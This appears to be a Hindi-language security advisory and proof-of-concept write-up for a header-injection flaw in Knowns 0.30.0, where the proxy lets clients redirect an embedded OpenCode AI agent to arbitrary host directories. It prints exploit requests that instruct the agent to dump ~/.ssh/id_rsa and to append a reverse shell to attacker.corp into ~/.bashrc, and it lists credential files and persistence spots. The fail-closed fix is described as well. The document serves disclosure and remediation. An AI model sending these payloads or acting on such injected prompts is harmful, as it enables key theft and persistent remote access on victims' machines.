uziii2208/cve-2026-88899Knowns 0.30.0: अनधिकृत हेडर इंजेक्शन AI एजेंट को होस्ट फाइलसिस्टम तक अप्रतिबंधित पहुँच प्रदान करता है
Knowns के एम्बेडेड OpenCode AI एजेंट डेमन के रिवर्स प्रॉक्सी (internal/server/server.go) के संबंध में एक अनुचित प्राधिकरण और हेडर-स्पूफिंग भेद्यता की रिपोर्ट की गई थी। रिपोर्ट में दावा किया गया था कि स्थानीय OpenCode डेमन को HTTP अनुरोधों को प्रॉक्सी करते समय, प्रॉक्सी x-opencode-directory अनुरोध हेडर और ?directory क्वेरी पैरामीटर को बिना शर्त अधिलेखित करने में विफल रहा। एक क्लाइंट जो स्पष्ट रूप से या तो मान सेट करता है, OpenCode AI एजेंट को प्रोजेक्ट रूट के बजाय होस्ट फाइलसिस्टम पर किसी भी मनमानी निर्देशिका के विरुद्ध कार्य करने का निर्देश दे सकता है।
चूंकि लाइन 1283-1296 पर proxyOpenCode() पर दावा किया गया था कि यह केवल तब activeRoot इंजेक्ट करता है जब आने वाला अनुरोध इन फ़ील्ड्स को खाली छोड़ देता है, कोई भी गैर-रिक्त क्लाइंट-आपूर्ति मान OpenCode बैकएंड को अपरिवर्तित रूप से पास हो जाएगा। OpenCode डेमन अपने फ़ाइल ट्री, git इंटरफ़ेस, और टर्मिनल निष्पादन वातावरण को आरंभ करने के लिए x-opencode-directory पढ़ता है। Knowns HTTP पोर्ट तक पहुंच वाला एक हमलावर इसलिए स्वायत्त AI एजेंट को - पूर्ण टूल पहुंच के साथ - किसी भी होस्ट निर्देशिका, जिसमें सिस्टम निर्देशिकाएं और क्रेडेंशियल स्टोर शामिल हैं, के विरुद्ध पढ़ने, लिखने और निष्पादित करने का निर्देश दे सकता है।
हमला सतह नेटवर्क-पहुंच योग्य है। Knowns अपने HTTP API और MCP एंडपॉइंट को बाहरी क्लाइंट्स के लिए उजागर करता है - वही एक्सपोज़र जो पूर्ववर्ती सलाहकार GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass) में पुष्टि की गई थी, जो इस हमला सतह को साझा करता है। कोई भी HTTP क्लाइंट जो Knowns सर्वर तक पहुंच सकता है, सामान्य API जो स्वीकार करता है उससे अधिक क्रेडेंशियल के बिना हेडर इंजेक्ट कर सकता है।
रिपोर्ट किया गया प्रॉक्सी गार्ड लॉजिक एक फेल-ओपन सशर्त का उपयोग करता है: यह केवल तब कार्य करता है जब हेडर या पैरामीटर अनुपस्थित हो। सही पैटर्न फेल-क्लोज़्ड है: क्लाइंट ने जो भेजा है उसकी परवाह किए बिना इन मानों को हमेशा activeRoot से अधिलेखित करें। अंतर एक पंक्ति का है - if == "" बनाम बिना शर्त Set।
एक पूरी तरह से स्वचालित, नियतात्मक सत्यापन हार्नेस विकसित और सत्यापित किया गया है: bug_reports/poc_report_03.py।
Python 3 का उपयोग करके स्व-निहित सत्यापन सूट निष्पादित करें:
python CVE-2026-88899.py
सत्यापन आउटपुट:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
निष्पादन प्रभाव:
x-opencode-directory: /home/victim/.ssh के साथ OpenCode को अग्रेषित करता है।/home/victim/.ssh में टूल सत्र आरंभ करता है।id_rsa पर अपने आंतरिक फ़ाइल पढ़ने के टूल को आमंत्रित करता है और JSON प्रतिक्रिया स्ट्रीम में प्राइवेट की लौटाता है।POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
निष्पादन प्रभाव:
/home/victim में वर्कस्पेस आरंभ करता है।.bashrc में जोड़ने के लिए फ़ाइल लेखन टूल निष्पादित करता है।GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
निष्पादन प्रभाव:
OpenCode confidential-project से संबंधित सत्र मेटाडेटा, पूर्व प्रॉम्प्ट, और स्वामित्व स्रोत स्निपेट लौटाता है।
~/.ssh/id_rsa), क्लाउड क्रेडेंशियल (~/.aws/credentials, ~/.config/gcloud/), API कुंजियाँ, डेटाबेस कनेक्शन स्ट्रिंग्स, और .env फ़ाइलें एक्सफिल्ट्रेट कर सकता है।~/.bashrc, ~/.zshrc), शेड्यूल किए गए जॉब (/etc/cron.d/), git हुक (.git/hooks/pre-commit), और एप्लिकेशन कॉन्फ़िगरेशन को अधिलेखित कर सकता है।